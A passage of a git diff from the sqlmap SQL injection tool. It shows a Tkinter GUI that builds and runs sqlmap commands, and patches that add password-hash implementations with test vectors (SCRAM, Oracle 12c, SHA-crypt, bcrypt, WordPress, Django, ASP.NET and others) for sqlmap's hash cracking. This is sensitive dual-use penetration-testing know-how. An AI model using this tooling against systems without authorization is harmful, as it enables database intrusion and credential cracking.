outline=col, width=2, fill=(col if filled else "")) + + def poly(*pts): + c.create_polygon(*pts, fill=col, outline="") + + def arc(x0, y0, x1, y1, start, extent): + c.create_arc(x0, y0, x1, y1, start=start, extent=extent, outline=col, width=2, style="arc") + + def dot(x, y, r=2): + c.create_oval(x - r, y - r, x + r, y + r, fill=col, outline="") + + def glyph(text, size=11): + c.create_text(11, 11, text=text, fill=col, font=(self.fonts["bodyBold"][0], size, "bold")) + + if name == "Quick start": + poly(12, 3, 6, 12, 10, 12, 9, 19, 16, 9, 11, 9) + elif name == "Target": + oval(4, 4, 18, 18) + dot(11, 11, 2) + elif name == "Request": + line(4, 8, 17, 8, arrow="last") + line(18, 14, 5, 14, arrow="last") + elif name == "Optimization": + arc(4, 6, 18, 20, 0, 180) + line(11, 13, 15, 8) + elif name == "Injection": + # syringe: thumb rest + plunger rod + flange + barrel + needle (no arrowhead, so it reads as a needle not a cross) + line(9, 2, 13, 2) + line(11, 2, 11, 5) + line(6, 5, 16, 5) + rect(8, 5, 14, 14) + line(11, 14, 11, 20) + elif name == "Detection": + oval(4, 4, 13, 13) + line(12, 12, 18, 18) + elif name == "Techniques": + oval(7, 7, 15, 15) + line(11, 2, 11, 6) + line(11, 16, 11, 20) + line(2, 11, 6, 11) + line(16, 11, 20, 11) + elif name == "Fingerprint": + # tightly nested tall loops with the gap at the bottom (fingertip ridges), plus a central core + arc(3, 1, 19, 21, 285, 330) + arc(5, 4, 17, 18, 285, 330) + arc(7, 7, 15, 15, 285, 330) + arc(9, 10, 13, 12, 285, 330) + elif name == "Enumeration": + oval(4, 3, 18, 7) + line(4, 5, 4, 16) + line(18, 5, 18, 16) + arc(4, 12, 18, 18, 180, 180) + elif name == "Brute force": + oval(3, 7, 11, 15) + line(9, 11, 19, 11) + line(16, 11, 16, 15) + line(19, 11, 19, 14) + elif name == "User-defined function injection": + glyph("fx", 11) + elif name == "File system access": + poly(3, 7, 8, 7, 10, 9, 19, 9, 19, 17, 3, 17) + elif name == "Operating system access": + rect(3, 5, 19, 17) + line(6, 9, 9, 11) + line(6, 13, 9, 13) + elif name == "Windows registry access": + # the waving Windows flag (4 slanted panes) rather than a plain 2x2 grid + poly(4, 6, 10, 5, 10, 11, 4, 12) + poly(12, 5, 18, 4, 18, 10, 12, 11) + poly(4, 13, 10, 12, 10, 18, 4, 19) + poly(12, 12, 18, 11, 18, 17, 12, 18) + elif name == "General": + line(4, 6, 18, 6) + dot(14, 6) + line(4, 11, 18, 11) + dot(8, 11) + line(4, 16, 18, 16) + dot(13, 16) + elif name == "Miscellaneous": + dot(5, 11) + dot(11, 11) + dot(17, 11) + else: + dot(11, 11, 3) + + def _addPane(self, name, navText): + p = PALETTE + tk = self.tk + row = tk.Frame(self.nav, background=p["mantle"]) + row.pack(fill=tk.X) + strip = tk.Frame(row, background=p["mantle"], width=3) + strip.pack(side=tk.LEFT, fill=tk.Y) + icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) + icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) + self._drawIcon(icon, name, self._iconColor(name)) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["blue"], font=self.fonts["small"]) + badge.pack(side=tk.RIGHT, padx=(0, 12)) + self.badges[name] = badge + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], + font=self.fonts["nav"], anchor="w", padx=10, pady=9) + lab.pack(side=tk.LEFT, fill=tk.X, expand=True) + for w in (row, lab, strip, icon, badge): + w.bind("", lambda e, n=name: self._selectPane(n)) + w.bind("", lambda e, n=name: self._navHover(n, True)) + w.bind("", lambda e, n=name: self._navHover(n, False)) + self.navItems[name] = (row, strip, icon, lab, badge) + self.paneOrder.append(name) + + outer = self.ttk.Frame(self.content, style="Card.TFrame") + canvas = tk.Canvas(outer, background=p["base"], highlightthickness=0, borderwidth=0) + scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") + inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) + inner.bind("", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) + window_id = canvas.create_window((0, 0), window=inner, anchor="nw") + canvas.bind("", lambda e: canvas.itemconfigure(window_id, width=e.width)) + canvas.configure(yscrollcommand=scrollbar.set) + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + self.panes[name] = outer + self.canvases[name] = canvas + self.inners[name] = inner + return inner + + def _iconColor(self, name): + return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) + + def _navHover(self, name, entering): + if name == self.currentPane: + return + bg = PALETTE["surface2"] if entering else PALETTE["mantle"] + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon, lab, badge): + w.configure(background=bg) + + def _navKey(self, delta): + try: + focused = self.window.focus_get() + except Exception: + focused = None + if isinstance(focused, (self.ttk.Entry, self.ttk.Combobox)): + return None + if self.paneOrder: + index = self.paneOrder.index(self.currentPane) + self._selectPane(self.paneOrder[(index + delta) % len(self.paneOrder)]) + return "break" + + def _selectPane(self, name): + if name not in self.built: # lazy: populate the pane on first visit + self.builders[name](self.inners[name]) + self.built.add(name) + if self.currentPane == name: + return + p = PALETTE + if self.currentPane: + self.panes[self.currentPane].pack_forget() + row, strip, icon, lab, badge = self.navItems[self.currentPane] + for w in (row, strip, icon): + w.configure(background=p["mantle"]) + lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["blue"]) + self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) + self.panes[name].pack(expand=True, fill=self.tk.BOTH) + row, strip, icon, lab, badge = self.navItems[name] + for w in (row, strip, icon): + w.configure(background=p["blue"]) + lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + badge.configure(background=p["blue"], foreground="#ffffff") + self._drawIcon(icon, name, "#ffffff") + self.currentPane = name + self._ensureNavVisible(name) + + if hasattr(self, "hint"): # don't leave the previous section's option hint lingering + self.hint.set(HINT_DEFAULT) + + def _ensureNavVisible(self, name): + # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) + try: + row = self.navItems[name][0] + self.nav.update_idletasks() + total = self.nav.winfo_height() + viewH = self.navCanvas.winfo_height() + if total <= 1 or viewH <= 1: + return + top = row.winfo_y() + bottom = top + row.winfo_height() + curTop = self.navCanvas.yview()[0] * total + if top < curTop: + self.navCanvas.yview_moveto(float(top) / total) + elif bottom > curTop + viewH: + self.navCanvas.yview_moveto(float(bottom - viewH) / total) + except Exception: + pass + + def _onWheel(self, event): + # route the wheel to whichever scroll region the pointer is over (sidebar or content) + delta = 1 if getattr(event, "num", None) == 5 or getattr(event, "delta", 0) < 0 else -1 + target = None + node = self.window.winfo_containing(event.x_root, event.y_root) + while node is not None: + if node is self.navCanvas: + target = self.navCanvas + break + if self.currentPane and node is self.canvases.get(self.currentPane): + target = self.canvases[self.currentPane] + break + try: + node = node.master + except Exception: + break + if target is None and self.currentPane: + target = self.canvases.get(self.currentPane) + if target is not None: + target.yview_scroll(delta, "units") + return "break" + + def _buildQuickStartPane(self): + name = "Quick start" + self._addPane(name, name) + self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] + + def build(inner): + self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + self.ttk.Label(inner, text="The options people reach for most. Set the target above, tick what you want, then Run.", + style="Desc.TLabel", wraplength=640, justify="left").grid(row=1, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row = 2 + for dest in QUICK_START_DESTS: + option = self.optionByDest.get(dest) + if option is not None: + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[name] = build + + def _buildGroupPane(self, group): + title = _groupTitle(group) + self._addPane(title, NAV_ALIASES.get(title, title)) + self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] + + def build(inner, group=group, title=title): + self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + row = 1 + description = _groupDescription(group) + if description: + self.ttk.Label(inner, text=description, style="Desc.TLabel", wraplength=640, justify="left").grid( + row=row, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row += 1 + for option in _groupOptions(group): + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[title] = build + + def _destVar(self, dest, is_bool): + # one shared variable per option, so every widget that edits it (Quick start pane, + # the proper group pane, the target bar) reflects into the same value both ways + if dest not in self.vars: + self.vars[dest] = self.tk.IntVar() if is_bool else self.tk.StringVar() + return self.vars[dest] + + def _buildFieldRow(self, parent, option, row): + p = PALETTE + tk = self.tk + label = _optionLabel(option) + helptext = _optHelp(option) + dest = _optDest(option) + is_bool = not _optTakesValue(option) + firstSeen = dest not in self.vars + + def bindHint(widget): + widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + + if is_bool: + var = self._destVar(dest, True) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, takefocus=True) + chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) + _Tooltip(chk, helptext, tk, p) + bindHint(chk) + if firstSeen: + self.widgets[dest] = ("bool", var) + else: + otype = _optValueType(option) + var = self._destVar(dest, False) + if firstSeen: + default = defaults.get(dest) + if default not in (None, False): + var.set(default) + self.widgets[dest] = (otype, var) + lab = self.ttk.Label(parent, text=label, style="Field.TLabel") + lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) + _Tooltip(lab, helptext, tk, p) + bindHint(lab) + choices = _optChoices(option) + if choices: + widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) + else: + widget = self.ttk.Entry(parent, textvariable=var) + if otype in ("int", "float"): + self._constrain(widget, otype) + widget.grid(row=row, column=1, sticky="ew", pady=6) + _Tooltip(widget, helptext, tk, p) + bindHint(widget) + return row + 1 + + def _constrain(self, entry, otype): + check = (lambda s: s == "" or s.replace(".", "", 1).isdigit()) if otype == "float" else (lambda s: s == "" or s.isdigit()) + vcmd = (self.window.register(lambda proposed: bool(check(proposed))), "%P") + entry.configure(validate="key", validatecommand=vcmd) + + # --- helpers -------------------------------------------------------- + + def _center(self, window, width=None, height=None): + window.update_idletasks() + width = width or window.winfo_width() + height = height or window.winfo_height() + x = window.winfo_screenwidth() // 2 - width // 2 + y = window.winfo_screenheight() // 2 - height // 2 + window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + + def _updateStats(self): + setDests = set() + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + if var.get(): + setDests.add(dest) + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + setDests.add(dest) + except Exception: + pass + count = len(setDests) + self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + for name, dests in self.sectionDests.items(): + badge = self.badges.get(name) + if badge is not None: + hits = sum(1 for _ in dests if _ in setDests) + badge.configure(text=(str(hits) if hits else "")) + + def _buildCommandString(self): + parts = ["sqlmap.py"] + for dest, (otype, var) in self.widgets.items(): + option = self.optionByDest.get(dest) + if option is None: + continue + strings = _optStrings(option) + if not strings: + continue + flag = strings[0] + try: + if otype == "bool": + if var.get(): + parts.append(flag) + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + value = str(raw) + if " " in value or '"' in value: + value = '"%s"' % value.replace('"', '\\"') + parts.append("%s %s" % (flag, value)) + except Exception: + pass + return " ".join(parts) + + def _tickStats(self): + self._updateStats() + self.command.set(self._buildCommandString()) + self.window.after(1200, self._tickStats) + + def _copyCommand(self): + try: + self.window.clipboard_clear() + self.window.clipboard_append(self.command.get()) + self.hint.set("Command copied to clipboard") + except Exception: + pass + + def _focusTarget(self): + try: + self.targetEntry.focus_set() + self.targetEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _collectConfig(self): + config = {} + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + value = bool(var.get()) + else: + raw = var.get() + if raw in (None, ""): + value = None + elif otype == "int": + value = int(raw) + elif otype == "float": + value = float(raw) + else: + value = raw + except Exception: + value = None + config[dest] = value + for option in self.optionByDest.values(): + dest = _optDest(option) + if config.get(dest) is None: + config[dest] = defaults.get(dest, None) + return config + + def _setWidgetValue(self, dest, value): + if dest not in self.widgets: + return + otype, var = self.widgets[dest] + try: + if otype == "bool": + var.set(1 if value else 0) + else: + var.set("" if value in (None, False) else value) + except Exception: + pass + + # --- actions -------------------------------------------------------- + + def loadConfig(self): + path = self.filedialog.askopenfilename(title="Load configuration", filetypes=[("sqlmap config", "*.conf *.ini"), ("All files", "*.*")]) + if not path: + return + try: + from thirdparty.six.moves import configparser as _configparser + parser = _configparser.ConfigParser() + parser.read(path) + count = 0 + for section in parser.sections(): + for name, value in parser.items(section): + if name in self.widgets: + if self.widgets[name][0] == "bool": + self._setWidgetValue(name, str(value).lower() in ("1", "true", "yes", "on")) + else: + self._setWidgetValue(name, value) + count += 1 + self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) + except Exception as ex: + self.messagebox.showerror("Load failed", getSafeExString(ex)) + + def saveConfigDialog(self): + path = self.filedialog.asksaveasfilename(title="Save configuration", defaultextension=".conf", filetypes=[("sqlmap config", "*.conf")]) + if not path: + return + try: + saveConfig(self._collectConfig(), path) + self.hint.set("Saved configuration to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save failed", getSafeExString(ex)) + + def run(self): + config = self._collectConfig() + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(config, configFile) + + self.alive = True + self.process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, + bufsize=1, close_fds=not IS_WIN) + self.queue = _queue.Queue() + + def enqueue(stream, queue): + for line in iter(stream.readline, b''): + queue.put(line) + self.alive = False + stream.close() + + thread = threading.Thread(target=enqueue, args=(self.process.stdout, self.queue)) + thread.daemon = True + thread.start() + self._openConsole() + + def _openConsole(self): + p = PALETTE + tk = self.tk + top = tk.Toplevel(self.window) + top.title("sqlmap - console") + top.configure(background=p["crust"]) + frame = self.ttk.Frame(top, style="Card.TFrame", padding=10) + frame.configure(style="Card.TFrame") + frame.pack(fill=tk.BOTH, expand=True) + + text = self.scrolledtext.ScrolledText(frame, wrap=tk.WORD, bg=p["crust"], fg=p["text"], + insertbackground=p["blue"], relief="flat", borderwidth=0, + font=self.fonts["mono"], padx=12, pady=10) + text.pack(fill=tk.BOTH, expand=True) + text.focus() + lineBuffer = {"value": ""} + + def onKey(event): + if self.process: + if event.char == "\b": + lineBuffer["value"] = lineBuffer["value"][:-1] + elif event.char: + lineBuffer["value"] += event.char + + def onReturn(event): + if self.process: + try: + self.process.stdin.write(("%s\n" % lineBuffer["value"].strip()).encode()) + self.process.stdin.flush() + except Exception: + pass + lineBuffer["value"] = "" + text.insert(tk.END, "\n") + return "break" + + text.bind("", onKey) + text.bind("", onReturn) + + def pump(): + drained = False + try: + while True: + line = self.queue.get_nowait() + text.insert(tk.END, line.decode("utf-8", errors="replace") if isinstance(line, bytes) else line) + drained = True + except _queue.Empty: + pass + if drained: + text.see(tk.END) + if self.alive or not self.queue.empty(): + top.after(80, pump) + else: + text.insert(tk.END, "\n--- process finished ---\n") + text.see(tk.END) + + self._center(top, 900, 580) + top.after(80, pump) + +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _scrolledtext + from thirdparty.six.moves import tkinter_ttk as _ttk + from thirdparty.six.moves import tkinter_messagebox as _messagebox + from thirdparty.six.moves import tkinter_filedialog as _filedialog + from thirdparty.six.moves import tkinter_font as _font + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) + + app = SqlmapGui(parser, _tkinter, _ttk, _scrolledtext, _messagebox, _filedialog, _font) + app.window.mainloop() diff --git a/lib/utils/har.py b/lib/utils/har.py index bcea7b001e3..e5dde561cf3 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -162,6 +162,9 @@ def parse(cls, raw): response = _http_client.HTTPResponse(FakeSocket(altered)) response.begin() + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5942 + response.length = len(raw[raw.find(b"\r\n\r\n") + 4:]) + try: content = response.read() except _http_client.IncompleteRead: @@ -182,7 +185,7 @@ def toDict(self): "size": len(self.content or "") } - binary = set([b'\0', b'\1']) + binary = set([b'\0', b'\1', u'\0', u'\1', 0, 1]) if any(c in binary for c in self.content): content["encoding"] = "base64" content["text"] = getText(base64.b64encode(self.content)) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 4a013338b4e..537b396bbbd 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -19,19 +19,27 @@ from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + _multiprocessing = None import base64 import binascii import gc +import hmac import math import os import re +import struct import tempfile import time import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 @@ -65,6 +73,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX @@ -85,6 +94,7 @@ from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue @@ -145,6 +155,21 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): @@ -215,6 +240,22 @@ def oracle_passwd(password, salt, uppercase=True): return retVal.upper() if uppercase else retVal.lower() +def oracle_12c_passwd(password, salt, uppercase=False, **kwargs): # 'T:' verifier since version '12c' (PBKDF2-HMAC-SHA512 then SHA-512) + """ + Reference(s): + https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ + https://hashcat.net/wiki/doku.php?id=example_hashes (mode 12300) + + >>> oracle_12c_passwd(password='hashcat', salt='34141655046766111066420254008225', uppercase=True) + 'T:78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225' + """ + + binsalt = decodeHex(salt) + key = pbkdf2_hmac("sha512", getBytes(password), binsalt + b"AUTH_PBKDF2_SPEEDY_KEY", 4096, 64) + retVal = "t:%s%s" % (sha512(key + binsalt).hexdigest(), salt) + + return retVal.upper() if uppercase else retVal.lower() + def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): @@ -438,6 +479,119 @@ def _encode64(value, count): return getText(magic + salt + b'$' + getBytes(hash_)) +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 @@ -468,6 +622,56 @@ def django_sha1_passwd(password, salt, **kwargs): return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 @@ -478,6 +682,16 @@ def vbulletin_passwd(password, salt, **kwargs): return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) +def oscommerce_old_passwd(password, salt, **kwargs): + """ + Reference: http://ryanuber.com/09-24-2010/os-commerce-password-hashing.html + + >>> oscommerce_old_passwd(password='testpass', salt='6b') + '16d39816e4545b3179f86f2d2d549af4:6b' + """ + + return "%s:%s" % (md5(getBytes(salt) + getBytes(password)).hexdigest(), salt) + def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): @@ -549,10 +763,13 @@ def _encode64(input_, count): HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: 